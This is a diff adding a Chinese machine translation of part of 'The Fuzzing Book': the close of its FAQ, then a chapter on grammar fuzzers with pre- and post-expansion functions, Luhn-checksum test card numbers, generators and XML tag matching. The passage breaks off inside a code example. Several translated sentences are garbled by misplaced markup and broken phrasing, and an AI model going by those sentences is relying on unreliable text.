+mybinder.org对存储库施加100个并发用户的[限制。 另外，如](https://mybinder.readthedocs.io/en/latest/user-guidelines.html) [mybinder.org状态和可靠性页面](https://mybinder.readthedocs.io/en/latest/reliability.html)上所列，
+
+> 由于mybinder.org是一个研究试点项目，因此该项目的主要目标是了解使用模式和工作量，以用于将来的项目发展。 在努力提高站点的可靠性和可用性的同时，我们希望我们的用户了解这项服务的目的是研究，我们不保证其在关键任务用途中的性能。
+
+mybinder.org还有其他选择； 见下文。
+
+#### 我是否有交互式笔记本的替代品？
+
+如果mybinder.org无法正常工作或无法满足您的需求，那么您可以选择以下几种方法：
+
+1.  **下载Python代码**（使用顶部的菜单），然后在您喜欢的环境中对其进行编辑和运行。 这很容易做到，并且不需要很多资源。
+
+2.  **下载Jupyter笔记本**（使用顶部的菜单），然后在Jupyter中打开它们。 这是[如何在计算机](https://www.dataquest.io/blog/jupyter-notebook-tutorial/)上安装jupyter笔记本的方法。
+
+3.  **在Docker容器中本地运行笔记本**。 有关更多信息，请参见[如何将本书与Docker](https://github.com/uds-se/fuzzingbook/blob/master/deploy/README.md) 结合使用。
+
+4.  如果您想在教室中使用本书，并且取决于您的用户可以使用交互式笔记本，请考虑使用或部署 [JupyterHub](http://jupyter.org/hub) 或 [BinderHub](https://github.com/jupyterhub/binderhub) 实例。
+
+#### 我可以在Windows计算机上运行代码吗？
+
+我们尝试使代码尽可能通用，但是偶尔，当我们与操作系统交互时，我们会假设一个类似于Unix的环境（因为这正是Binder提供的环境）。 要在自己的Windows计算机上运行这些示例，可以安装Linux VM或 [Docker环境](https://github.com/uds-se/fuzzingbook/blob/master/deploy/README.md)。
+
+#### 您不能运行自己的专用云服务吗？
+
+从技术上讲，是的； 但这会花费金钱和精力，这时我们宁愿花在这本书上。 如果您想公开托管 [JupyterHub](http://jupyter.org/hub) 或 [BinderHub](https://github.com/jupyterhub/binderhub) 实例，请*这样做*，并告诉我们。
+
+### 内容
+
+#### 出现了哪些内容？
+
+有关详细信息，请参见[发行说明](ReleaseNotes.html)。
+
+#### 我如何引用您的工作？
+
+感谢您提及我们的工作！ 本书完成后，您就可以用传统方式引用它。 同时，只需单击网页底部每个章节的“引用”按钮即可获得引用条目。
+
+#### 你能引用我的论文吗？ 并可能为此写一章？
+
+我们总是很乐意得到建议！ 如果我们错过了重要的参考文献，我们当然会添加它。 如果您希望涵盖特定的材料，最好的方法是自己编写*笔记本*； 有关编码和编写的说明，请参见我们的[作者指南](Guide_for_Authors.html)。 然后，我们可以引用它甚至托管它。
+
+### 教学与课业
+
+#### 我可以在课程中使用您的资料吗？
+
+当然！ 只要遵守[许可](https://github.com/uds-se/fuzzingbook/blob/master/LICENSE.md)（包括署名和共享）即可。 如果您要将材料用于商业目的，请与我们联系。
+
+#### 我可以扩展或修改您的资料吗？
+
+是! 同样，请参见[许可证](https://github.com/uds-se/fuzzingbook/blob/master/LICENSE.md)了解详细信息。
+
+#### 我如何才能根据这本书开一门课程？
+
+我们已在各种课程中成功使用了该材料。
+
+*   最初，我们使用幻灯片和代码，并在讲座中进行了*实时编码*，以说明该技术的工作原理。
+
+*   现在，这本书的目标是完全独立。 也就是说，它无需其他支持即可工作。 因此，我们现在在*翻转课堂*设置中为学生提供完整的章节，让学生们在闲暇时工作在笔记本上。 我们将在教室里开会，讨论过去笔记本的经验并讨论未来笔记本。
+
+*   我们让学生从事本书中的练习，或者从事较大的（模糊的）项目。 我们也有一些学生将本书作为研究的基础； 实际上，在Python中为Python进行原型开发非常容易。
+
+在运行课程时，[不依赖mybinder.org](#Troubleshooting) –它无法为更多的学生群体提供足够的资源。 相反，[安装并运行您自己的集线器。](#Do-I-have-alternatives-to-the-interactive-notebook?)
+
+#### 有没有我可以关注的特定子集？
+
+通过本书，我们为不同的读者编写了许多[导览。 我们的](Tours.html)[网站地图](00_Table_of_Contents.html)列出了各个章节之间的依存关系。
+
+#### 如何扩展或修改幻灯片？
+
+下载Jupyter笔记本（使用顶部的菜单），然后随意使用笔记本（请参见上文），包括“幻灯片类型”设置。 然后，
+
+1.  从Jupyter Notebook下载幻灯片； 要么
+2.  使用RISE扩展名（[说明](http://www.blog.pythonlibrary.org/2018/09/25/creating-presentations-with-jupyter-notebook/)）从Jupyter笔记本电脑中展示幻灯片。
+
+#### 您是否提供材料的PDF？
+
+目前，我们不提供对PDF版本的支持。 本书完成后，我们将提供PDF和印刷版本。
+
+### 其他问题
+
+#### 我有一个问题，评论或建议。 我该怎么办？
+
+您可以在Twitter 上通过[鸣叫到@fuzzingbook，以允许读者加入。有关您想解决的错误，请在](https://twitter.com/fuzzingbook)[开发页面](https://github.com/uds-se/fuzzingbook/issues)上报告问题。
+
+#### 我两周前报告了一个问题。 什么时候解决？
+
+我们优先考虑以下问题：
+
+1.  在fuzzingbook.org上发布的代码中的错误
+2.  在fuzzingbook.org上发布的文字错误
+3.  写缺失的章节
+4.  尚未发布的代码或文本中的问题
+5.  与开发或建设有关的问题
+6.  标记为“测试版”的内容
+7.  其他一切
+
+#### 我如何自己解决问题？
+
+我们很高兴您提出这样的要求。 [开发页面](https://github.com/uds-se/fuzzingbook/)包含所有来源和一些补充材料。 非常欢迎提出修复问题的请求。
+
+#### 我该如何贡献？
+
+再次，我们很高兴您在这里！ 我们很高兴接受
+
+*   **代码修复和改进。** 请在MIT许可下放置任何代码，以便我们可以轻松包含它。
+*   **有关特定主题的其他文本，章节和笔记本**。 我们计划为第三方捐款建立一个特殊的文件夹。
+
+有关编码和写入的说明，请参见我们的[作者指南](Guide_for_Authors.html)。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/20.md b/new/fuzzing-book-zh/20.md
new file mode 100644
index 0000000000000000000000000000000000000000..1a74f4ddc2d6b5aaa0a61f9a034aa7c416d8cfb6
--- /dev/null
+++ b/new/fuzzing-book-zh/20.md
@@ -0,0 +1,1585 @@
+# 生成器的模糊化生成器和语法覆盖率
+
+> 原文： [https://www.fuzzingbook.org/html/GeneratorGrammarFuzzer.html](https://www.fuzzingbook.org/html/GeneratorGrammarFuzzer.html)
+
+在本章中，我们将展示如何使用*函数*扩展语法-在语法扩展过程中执行的，可以生成，检查或更改所生成元素的代码段。 向语法添加功能可实现非常通用的测试，从而将最佳的语法生成和编程结合在一起。
+
+**前提条件**
+
+*   由于本章与[关于有效语法模糊](GrammarFuzzer.html)的一章中讨论的技术有很深的互动，因此建议您对这些技术有一个很好的了解。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.GeneratorGrammarFuzzer](GeneratorGrammarFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍将*函数*附加到各个生产规则的能力：
+
+*   在展开之前，先执行*功能`pre`。 其结果（通常是字符串）可以*代替*实际的扩展。*
+*   扩展后，将执行*功能。 如果返回字符串，则该字符串将替换扩展名；否则，将替换扩展名。 返回`False`，则触发新的扩展。*
+
+这两个函数都可以返回`None`，完全不会干扰语法的产生。
+
+要将函数`F`附加到语法中的单个扩展`S`，请用一对替换`S`
+
+```py
+(opts(S, pre=F))   # Set a function to be executed before expansion
+
+```
+
+要么
+
+```py
+(opts(S, post=F))  # Set a function to be executed after expansion
+
+```
+
+这是一个示例，要从以编程方式给出的列表中获取区号，我们可以编写：
+
+```py
+>>> from [Grammars](Grammars.html) import US_PHONE_GRAMMAR, extend_grammar, opts
+>>> def pick_area_code():
+>>>     return random.choice(['555', '554', '553'])
+>>> PICKED_US_PHONE_GRAMMAR = extend_grammar(US_PHONE_GRAMMAR,
+>>> {
+>>>     "<area>": [("<lead-digit><digit><digit>", opts(pre=pick_area_code))]
+>>> })
+
+```
+
+`GeneratorGrammarFuzzer`将提取并解释这些选项。 这是一个例子：
+
+```py
+>>> picked_us_phone_fuzzer = GeneratorGrammarFuzzer(PICKED_US_PHONE_GRAMMAR)
+>>> [picked_us_phone_fuzzer.fuzz() for i in range(5)]
+['(553)200-6118',
+ '(553)889-0205',
+ '(555)317-0936',
+ '(553)455-2577',
+ '(553)263-8511']
+
+```
+
+如您所见，现在区号都源自`pick_area_code()`。 这样的定义允许将程序代码（例如`pick_area_code()`）与语法紧密联系在一起。
+
+`PGGCFuzzer`类包含[，`GrammarFuzzer`类](GrammarFuzzer.html)及其基于[覆盖率](GrammarCoverageFuzzer.html)，基于[概率](ProbabilisticGrammarFuzzer.html)和基于[生成器 衍生物。
+
+## 示例：测试信用卡系统
+
+假设您使用的购物系统-除其他功能外-允许客户使用信用卡付款。 您的任务是测试付款功能。
+
+为简单起见，我们假设我们只需要两笔数据-16位信用卡号和要收取的金额。 这两部分都可以使用语法轻松生成，如下所示：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [Grammars](Grammars.html) import EXPR_GRAMMAR, is_valid_grammar, is_nonterminal, extend_grammar
+from [Grammars](Grammars.html) import opts, exp_opt, exp_string, crange
+
+```
+
+```py
+CHARGE_GRAMMAR = {
+    "<start>": ["Charge <amount> to my credit card <credit-card-number>"],
+    "<amount>": ["$<float>"],
+    "<float>": ["<integer>.<digit><digit>"],
+    "<integer>": ["<digit>", "<integer><digit>"],
+    "<digit>": crange('0', '9'),
+
+    "<credit-card-number>": ["<digits>"],
+    "<digits>": ["<digit-block><digit-block><digit-block><digit-block>"],
+    "<digit-block>": ["<digit><digit><digit><digit>"],
+}
+
+assert is_valid_grammar(CHARGE_GRAMMAR)
+
+```
+
+所有这些工作都很巧妙-我们可以生成任意金额和信用卡号：
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer, all_terminals, display_tree
+
+```
+
+```py
+g = GrammarFuzzer(CHARGE_GRAMMAR)
+[g.fuzz() for i in range(5)]
+
+```
+
+```py
+['Charge $9.40 to my credit card 7166898575638313',
+ 'Charge $8.79 to my credit card 6845418694643271',
+ 'Charge $5.64 to my credit card 6655894657077388',
+ 'Charge $0.60 to my credit card 2596728464872261',
+ 'Charge $8.90 to my credit card 2363769342732142']
+
+```
+
+但是，当使用这些数据实际测试我们的系统时，我们发现两个问题：
+
+1.  我们想测试*特定的*金额-例如，超出信用卡限额的金额。
+2.  我们发现10个信用卡号中有9个由于校验和不正确而被拒绝。 如果我们想测试信用卡号的拒绝功能就可以了-但是，如果我们想测试处理收费的实际功能，我们需要*有效的*号。
+
+我们可以忽略这些问题； 毕竟，最终产生大量有效数字只是时间问题。 对于第一个问题，我们也可以通过适当地更改语法来解决它，例如，仅产生至少具有六个前导数字的费用。 但是，将其推广到任意值范围将很麻烦。
+
+第二个问题是信用卡号的校验和，但是，它更深入地研究了-至少就语法而言，是像校验和这样的复杂算术运算不能仅用语法来表达-至少不能在*中表达 我们在这里使用无上下文语法*。 （原则上，*可以在*上下文相关的*语法中执行*，但指定这样做根本没有意思。）我们想要的是一种允许我们进行*的机制。 ]将程序化计算*附加到我们的语法中，汇集了两全其美的方法。
+
+## 将功能附加到扩展
+
+本章的主要思想是*扩展*语法，以便*可以将Python函数*附加到各个扩展中。 这些功能可以执行
+
+1.  扩展之前的*，*用计算值替换要扩展的元素*； 要么*
+2.  扩展后的*，*检查*生成的元素，并可能还会替换它们。*
+
+在这两种情况下，都使用[语法](Grammars.html)一章中介绍的`opts()`扩展机制指定功能。 因此，它们与符号$ s $的特定扩展$ e $相关联。
+
+### 扩展前调用的函数
+
+在将$ s $扩展为$ e $之前，使用`pre`选项定义的函数将被调用*。 它的值*替换了*要生产的扩展$ e $。 要为上述信用卡示例生成一个值，我们可以定义一个*预展开*生成器函数*
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+def high_charge():
+    return random.randint(10000000, 90000000) / 100.0
+
+```
+
+使用`opts()`，我们可以将此函数附加到语法上：
+
+```py
+CHARGE_GRAMMAR.update({
+    "<float>": [("<integer>.<digit><digit>", opts(pre=high_charge))],
+})
+
+```
+
+目的是每当`<float>`扩展时，将调用函数`high_charge`为`<float>`生成一个值。 （对于忽略诸如`GrammarFuzzer`之类的功能的模糊器，仍将存在语法的实际扩展）。
+
+由于与语法相关的函数通常非常简单，因此我们也可以使用 *lambda* 表达式对*内联*。 *lambda表达式*用于*匿名*功能，这些功能在范围和功能上受到限制。 这是一个例子：
+
+```py
+def apply_twice(function, x):
+    return function(function(x))
+
+```
+
+```py
+apply_twice(lambda x: x * x, 2)
+
+```
+
+```py
+16
+
+```
+
+在这里，我们不必给两次使用的`function`命名（例如`square()`）； 相反，我们在调用中内联应用它。
+
+使用`lambda`，我们的语法如下所示：
+
+```py
+CHARGE_GRAMMAR.update({
+    "<float>": [("<integer>.<digit><digit>",
+                 opts(pre=lambda: random.randint(10000000, 90000000) / 100.0))]
+})
+
+```
+
+### 扩展后调用的函数
+
+在将$ s $的扩展为$ e $之后，使用`post`选项定义的函数被调用*，并将$ e $中符号的扩展值作为参数传递。 扩展后功能可以通过两种方式发挥作用：*
+
+1.  它可以用作扩展值的*约束*或*过滤器*，如果扩展有效，则返回`True`，否则为`False`； 如果返回`False`，则尝试另一个扩展。
+2.  它也可以用作*修复程序*，返回一个字符串值。 像预扩展功能一样，返回值将替换扩展。
+
+对于我们的信用卡示例，我们可以选择两种方式。 如果我们有一个函数`check_credit_card(s)`，它为有效数字`s`返回`True`，对于无效数字返回`False`，那么我们将选择第一个选项：
+
+```py
+CHARGE_GRAMMAR.update({
+    "<credit-card-number>": [("<digits>", opts(post=lambda digits: check_credit_card(digits)))]
+})
+
+```
+
+使用这种过滤器，只会生成有效的信用卡。 平均而言，每次`check_credit_card()`满足时，仍然需要尝试10次，但是，我们不必求助于被测系统。
+
+如果我们有一个函数`fix_credit_card(s)`，它可以更改数字以使校验和有效并返回“固定”数字，则可以改用该函数：
+
+```py
+CHARGE_GRAMMAR.update({
+    "<credit-card-number>": [("<digits>", opts(post=lambda digits: fix_credit_card(digits)))]
+})
+
+```
+
+在此，每个编号仅生成一次，然后进行修复。 这非常有效。
+
+用于信用卡的校验和函数是 [Luhn算法](https://en.wikipedia.org/wiki/Luhn_algorithm)，这是一个简单而有效的公式。
+
+```py
+def luhn_checksum(s):
+    """Compute Luhn's check digit over a string of digits"""
+    LUHN_ODD_LOOKUP = (0, 2, 4, 6, 8, 1, 3, 5, 7,
+                       9)  # sum_of_digits (index * 2)
+
+    evens = sum(int(p) for p in s[-1::-2])
+    odds = sum(LUHN_ODD_LOOKUP[int(p)] for p in s[-2::-2])
+    return (evens + odds) % 10
+
+```
+
+```py
+def valid_luhn_checksum(s):
+    """Check whether the last digit is Luhn's checksum over the earlier digits"""
+    return luhn_checksum(s[:-1]) == int(s[-1])
+
+```
+
+```py
+def fix_luhn_checksum(s):
+    """Return the given string of digits, with a fixed check digit"""
+    return s[:-1] + repr(luhn_checksum(s[:-1]))
+
+```
+
+```py
+luhn_checksum("123")
+
+```
+
+```py
+8
+
+```
+
+```py
+fix_luhn_checksum("123x")
+
+```
+
+```py
+'1238'
+
+```
+
+我们可以在信用卡语法中使用以下功能：
+
+```py
+check_credit_card = valid_luhn_checksum
+fix_credit_card = fix_luhn_checksum
+
+fix_credit_card("1234567890123456")
+
+```
+
+```py
+'1234567890123458'
+
+```
+
+## 集成约束的类
+
+虽然很容易指定函数，但是我们的语法模糊器将忽略它们，就像忽略所有扩展一样。 它将发出警告，但是：
+
+```py
+g = GrammarFuzzer(CHARGE_GRAMMAR)
+g.fuzz()
+
+```
+
+```py
+warning: option 'pre' is not supported
+warning: option 'post' is not supported
+
+```
+
+```py
+'Charge $4.05 to my credit card 0637034038177393'
+
+```
+
+我们需要定义一个特殊的模糊器，该模糊器实际上会调用给定的`pre`和`post`函数并相应地执行操作。 我们将其命名为`GeneratorGrammarFuzzer`：
+
+```py
+class GeneratorGrammarFuzzer(GrammarFuzzer):
+    def supported_opts(self):
+        return super().supported_opts() | {"pre", "post", "order"}
+
+```
+
+我们定义了自定义函数来访问`pre`和`post`选项：
+
+```py
+def exp_pre_expansion_function(expansion):
+    """Return the specified pre-expansion function, or None if unspecified"""
+    return exp_opt(expansion, 'pre')
+
+```
+
+```py
+def exp_post_expansion_function(expansion):
+    """Return the specified post-expansion function, or None if unspecified"""
+    return exp_opt(expansion, 'post')
+
+```
+
+`order`属性将在本章稍后的中使用。
+
+## 扩展前生成元素
+
+我们的第一个任务将是实现预扩展功能-即在扩展之前替换以替换要扩展的值的功能。 为此，我们将使用`process_chosen_children()`方法，该方法将在扩展之前获取选定的子代。 我们对其进行设置，以使其调用给定的`pre`函数，并将其结果应用于子级，可能会替换它们。
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def process_chosen_children(self, children, expansion):
+        function = exp_pre_expansion_function(expansion)
+        if function is None:
+            return children
+
+        assert callable(function)
+        if inspect.isgeneratorfunction(function):
+            # See "generators", below
+            result = self.run_generator(expansion, function)
+        else:
+            result = function()
+
+        if self.log:
+            print(repr(function) + "()", "=", repr(result))
+        return self.apply_result(result, children)
+
+```
+
+方法`apply_result()`从预扩展功能获取结果并将其应用于子级。 确切的效果取决于结果的类型：
+
+*   *字符串* $ s $用$ s $替换了整个扩展。
+*   *列表* $ [x_1，x_2，\ dots，x_n] $用不是`None`的每个$ x_i $用$ x_i $替换第$ i $个符号。 将`None`指定为列表元素$ x_i $可以使该元素保持不变。 如果$ x_i $不是字符串，则将其转换为字符串。
+*   值`None`被忽略。 如果只想在扩展时调用一个函数而对扩展的字符串不起作用，则这很有用。
+*   *布尔值*会被忽略。 这对后述的扩展功能很有用。
+*   所有其他*类型*都将转换为字符串，从而替换整个扩展。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def apply_result(self, result, children):
+        if isinstance(result, str):
+            children = [(result, [])]
+        elif isinstance(result, list):
+            symbol_indexes = [i for i, c in enumerate(
+                children) if is_nonterminal(c[0])]
+
+            for index, value in enumerate(result):
+                if value is not None:
+                    child_index = symbol_indexes[index]
+                    if not isinstance(value, str):
+                        value = repr(value)
+                    if self.log:
+                        print(
+                            "Replacing", all_terminals(
+                                children[child_index]), "by", value)
+
+                    # children[child_index] = (value, [])
+                    child_symbol, _ = children[child_index]
+                    children[child_index] = (child_symbol, [(value, [])])
+        elif result is None:
+            pass
+        elif isinstance(result, bool):
+            pass
+        else:
+            if self.log:
+                print("Replacing", "".join(
+                    [all_terminals(c) for c in children]), "by", result)
+
+            children = [(repr(result), [])]
+
+        return children
+
+```
+
+### 示例：数值范围
+
+通过上述扩展，我们完全支持预扩展功能。 使用增强的`CHARGE_GRAMMAR`，我们发现实际上使用了预扩展`lambda`函数：
+
+```py
+charge_fuzzer = GeneratorGrammarFuzzer(CHARGE_GRAMMAR)
+charge_fuzzer.fuzz()
+
+```
+
+```py
+'Charge $439383.87 to my credit card 2433506594138520'
+
+```
+
+日志揭示了更多细节，当调用预扩展功能时会发生什么。 我们看到扩展`<integer>.<digit><digit>`被计算值直接替换：
+
+```py
+amount_fuzzer = GeneratorGrammarFuzzer(
+    CHARGE_GRAMMAR, start_symbol="<amount>", log=True)
+amount_fuzzer.fuzz()
+
+```
+
+```py
+Tree: <amount>
+Expanding <amount> randomly
+Tree: $<float>
+Expanding <float> randomly
+<function <lambda> at 0x10806e2f0>() = 382087.72
+Replacing <integer>.<digit><digit> by 382087.72
+Tree: $382087.72
+'$382087.72'
+
+```
+
+```py
+'$382087.72'
+
+```
+
+### 示例：更多数值范围
+
+我们也可以在其他情况下使用此类预扩展功能。 假设我们要生成每个数字都在100到200之间的算术表达式。我们可以相应地扩展`EXPR_GRAMMAR`：
+
+```py
+expr_100_200_grammar = extend_grammar(EXPR_GRAMMAR,
+                                      {
+                                          "<factor>": [
+                                              "+<factor>", "-<factor>", "(<expr>)",
+
+                                              # Generate only the integer part with a function;
+                                              # the fractional part comes from
+                                              # the grammar
+                                              ("<integer>.<integer>", opts(
+                                                  pre=lambda: [random.randint(100, 200), None])),
+
+                                              # Generate the entire integer
+                                              # from the function
+                                              ("<integer>", opts(
+                                                  pre=lambda: random.randint(100, 200))),
+                                          ],
+                                      }
+                                      )
+
+```
+
+```py
+expr_100_200_fuzzer = GeneratorGrammarFuzzer(expr_100_200_grammar)
+expr_100_200_fuzzer.fuzz()
+
+```
+
+```py
+'(108.6 / 155 + 177) / 118 * 120 * 107 + 151 + 195 / -200 - 150 * 188 / 147 + 112'
+
+```
+
+### 支持Python生成器
+
+Python语言具有自己的生成器功能概念，我们当然也希望支持。 Python 中的*生成器函数是一个返回所谓的*迭代器对象*的函数，我们可以一次迭代一个值。*
+
+要在Python中创建一个生成器函数，可以使用`yield`语句而不是`return`语句定义一个普通函数。 当`return`语句终止该函数时，`yield`语句暂停其执行，保存其所有状态，以便稍后在下一个连续调用中恢复。
+
+这是生成器功能的示例。 首次调用时，`iterate()`产生值1，然后是2、3，依此类推：
+
+```py
+def iterate():
+    t = 0
+    while True:
+        t = t + 1
+        yield t
+
+```
+
+我们可以像`range()`函数（这也是一个生成器函数）一样循环使用`iterate`：
+
+```py
+for i in iterate():
+    if i > 10:
+        break
+    print(i, end=" ")
+
+```
+
+```py
+1 2 3 4 5 6 7 8 9 10 
+
+```
+
+我们还可以将`iterate()`用作预扩展生成器函数，确保它将创建一个接一个的连续整数：
+
+```py
+iterate_grammar = extend_grammar(EXPR_GRAMMAR,
+                                 {
+                                     "<factor>": [
+                                         "+<factor>", "-<factor>", "(<expr>)",
+                                         # "<integer>.<integer>",
+
+                                         # Generate one integer after another
+                                         # from the function
+                                         ("<integer>", opts(pre=iterate)),
+                                     ],
+                                 })
+
+```
+
+为了支持生成器，我们上面的`process_chosen_children()`方法检查一个函数是否是生成器； 如果是这样，它将调用`run_generator()`方法。 当`run_generator()`在`fuzz_tree()`（或`fuzz()`）调用中首次看到该函数时，它会调用该函数来创建一个生成器对象。 它将保存在`generators`属性中，然后调用。 随后的调用直接进入生成器，保持状态。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def fuzz_tree(self):
+        self.reset_generators()
+        return super().fuzz_tree()
+
+    def reset_generators(self):
+        self.generators = {}
+
+    def run_generator(self, expansion, function):
+        key = repr((expansion, function))
+        if key not in self.generators:
+            self.generators[key] = function()
+        generator = self.generators[key]
+        return next(generator)
+
+```
+
+这样行吗？ 让我们使用`iterator()`在上述语法上运行我们的模糊器：
+
+```py
+iterate_fuzzer = GeneratorGrammarFuzzer(iterate_grammar)
+iterate_fuzzer.fuzz()
+
+```
+
+```py
+'1 * ++++3 / ---+4 - 2 * +--6 / 7 * 10 - (9 - 11) - 5 + (13) * 14 + 8 + 12'
+
+```
+
+我们看到该表达式包含以1开头的所有整数。
+
+除了指定自己的Python生成器函数（例如`iterate()`），我们还可以使用内置的Python生成器之一（例如`range()`）。 这还将生成以1开头的整数：
+
+```py
+iterate_grammar = extend_grammar(EXPR_GRAMMAR,
+                                 {
+                                     "<factor>": [
+                                         "+<factor>", "-<factor>", "(<expr>)",
+                                         ("<integer>", opts(pre=range(1, 1000))),
+                                     ],
+                                 })
+
+```
+
+通过在括号中添加它们的生成器函数，也可以使用Python列表推导：
+
+```py
+iterate_grammar = extend_grammar(EXPR_GRAMMAR,
+                                 {
+                                     "<factor>": [
+                                         "+<factor>", "-<factor>", "(<expr>)",
+                                         ("<integer>", opts(
+                                             pre=(x for x in range(1, 1000)))),
+                                     ],
+                                 })
+
+```
+
+请注意，以上两种语法实际上会在创建1000个以上的整数时使模糊器引发异常，但是您将发现很容易解决此问题。
+
+最后，`yield`实际上是一个表达式，而不是语句，因此也可以使`lambda`表达式`yield`为一个值。 如果您对此找到了合理的用途，请告诉我们。
+
+## 扩展后检查和修复元素
+
+现在让我们转向要支持的第二组功能-即扩展后功能。 使用它们的最简单方法是在生成整个树后立即运行它们，并像`pre`函数一样照顾替换。 但是，如果其中之一返回`False`，我们将重新开始。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def fuzz_tree(self):
+        while True:
+            tree = super().fuzz_tree()
+            (symbol, children) = tree
+            result, new_children = self.run_post_functions(tree)
+            if not isinstance(result, bool) or result:
+                return (symbol, new_children)
+            self.restart_expansion()
+
+    def restart_expansion(self):
+        # To be overloaded in subclasses
+        self.reset_generators()
+
+```
+
+方法`run_post_functions()`递归应用于派生树的所有节点。 对于每个节点，它确定应用的扩展，然后运行与该扩展关联的功能。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    # Return True iff all constraints of grammar are satisfied in TREE
+    def run_post_functions(self, tree, depth=float("inf")):
+        symbol, children = tree
+        if children == []:
+            return True, children  # Terminal symbol
+
+        try:
+            expansion = self.find_expansion(tree)
+        except KeyError:
+            # Expansion (no longer) found - ignore
+            return True, children
+
+        result = True
+        function = exp_post_expansion_function(expansion)
+        if function is not None:
+            result = self.eval_function(tree, function)
+            if isinstance(result, bool) and not result:
+                if self.log:
+                    print(
+                        all_terminals(tree),
+                        "did not satisfy",
+                        symbol,
+                        "constraint")
+                return False, children
+
+            children = self.apply_result(result, children)
+
+        if depth > 0:
+            for c in children:
+                result, _ = self.run_post_functions(c, depth - 1)
+                if isinstance(result, bool) and not result:
+                    return False, children
+
+        return result, children
+
+```
+
+辅助方法`find_expansion()`接受一个子树`tree`，并从用于在`tree`中创建子级的语法确定扩展。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def find_expansion(self, tree):
+        symbol, children = tree
+
+        applied_expansion = \
+            "".join([child_symbol for child_symbol, _ in children])
+
+        for expansion in self.grammar[symbol]:
+            if exp_string(expansion) == applied_expansion:
+                return expansion
+
+        raise KeyError(
+            symbol +
+            ": did not find expansion " +
+            repr(applied_expansion))
+
+```
+
+方法`eval_function()`是负责实际调用后扩展功能的方法。 它创建一个包含所有非终结子级扩展的参数列表，即语法扩展中每个符号的一个参数。 然后，它调用给定的函数。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def eval_function(self, tree, function):
+        symbol, children = tree
+
+        assert callable(function)
+
+        args = []
+        for (symbol, exp) in children:
+            if exp != [] and exp is not None:
+                symbol_value = all_terminals((symbol, exp))
+                args.append(symbol_value)
+
+        result = function(*args)
+        if self.log:
+            print(repr(function) + repr(tuple(args)), "=", repr(result))
+
+        return result
+
+```
+
+请注意，与扩展前的函数不同，扩展后的函数通常会处理已经生成的值，因此此处我们不支持Python生成器。
+
+### 示例：负表达式
+
+让我们在一个示例上尝试这些后表达功能。 假设我们只想生成计算结果为负数的算术表达式-例如，将生成的表达式馈送到编译器或其他外部系统中。 用`pre`函数进行构造性的操作将非常困难。 相反，我们可以使用Python `eval()`函数定义一个严格检查此属性的约束。
+
+Python `eval()`函数采用一个字符串，并根据Python规则对其求值。 由于我们生成的表达式的语法与Python稍有不同，并且由于Python可以在求值过程中引发算术异常，因此我们需要一种能够优雅地处理此类错误的方法。 函数`eval_with_exception()`环绕`eval()`； 如果评估期间发生异常，则返回False-这会导致生产算法产生另一个值。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+def eval_with_exception(s):
+    # Use "mute=True" to suppress all messages
+    with ExpectError(print_traceback=False):
+        return eval(s)
+    return False
+
+```
+
+```py
+negative_expr_grammar = extend_grammar(EXPR_GRAMMAR,
+                                       {
+                                           "<start>": [("<expr>", opts(post=lambda s: eval_with_exception(s) < 0))]
+                                       }
+                                       )
+
+assert is_valid_grammar(negative_expr_grammar)
+
+```
+
+```py
+negative_expr_fuzzer = GeneratorGrammarFuzzer(negative_expr_grammar)
+expr = negative_expr_fuzzer.fuzz()
+expr
+
+```
+
+```py
+ZeroDivisionError: division by zero (expected)
+
+```
+
+```py
+'(8.9 / 6 * 4 - 0.2 + -7 - 7 - 8 * 6) * 7 * 15.55 - -945.9'
+
+```
+
+结果确实是负面的：
+
+```py
+eval(expr)
+
+```
+
+```py
+-5178.726666666667
+
+```
+
+### 示例：匹配XML标签
+
+扩展后功能不仅可以用于*检查*扩展，还可以对其进行修复。 为此，我们可以让它们返回一个字符串或字符串列表。 就像预扩展功能一样，这些字符串将替换整个扩展或单个符号。
+
+例如，考虑 *XML文档*，它们由匹配的 *XML标签*中的文本组成。 例如，考虑以下HTML片段，它是XML的子集：
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import HTML
+
+```
+
+```py
+HTML("<strong>A bold text</strong>")
+
+```
+
+**A bold text**
+
+该片段由围绕文本的两个HTML（XML）标签组成。 标签名（`strong`）出现在开头（`<strong>`）和结尾（`</strong>`）标签中。
+
+对于*有限的*标签集（例如HTML标签`<strong>`，`<head>`，`<body>`，`<form>`等），我们可以定义一个无上下文语法来解析 它; 每对标记将构成语法中的单个规则。 但是，如果标记集是*无限*，则与常规XML一样，我们无法定义适当的语法； 那是因为结束标记必须与开始标记匹配的约束是上下文相关的，因此不适合上下文无关的语法。
+
+（顺便说一句，如果结束标记的标识符*颠倒了*（`</gnorts>`），那么可以使用上下文无关的语法来描述它。将此作为编程练习。）
+
+我们可以通过引入适当的后扩展功能来解决此问题，这些功能会自动使结束标记与开始标记匹配。 让我们从产生XML树的简单语法开始：
+
+```py
+XML_GRAMMAR = {
+    "<start>": ["<xml-tree>"],
+    "<xml-tree>": ["<<id>><xml-content></<id>>"],
+    "<xml-content>": ["Text", "<xml-tree>"],
+    "<id>": ["<letter>", "<id><letter>"],
+    "<letter>": crange('a', 'z')
+}
+
+assert is_valid_grammar(XML_GRAMMAR)
+
+```
+
+如果我们使用此语法进行模糊测试，则会得到不匹配的XML标记，如预期的那样：
+
+```py
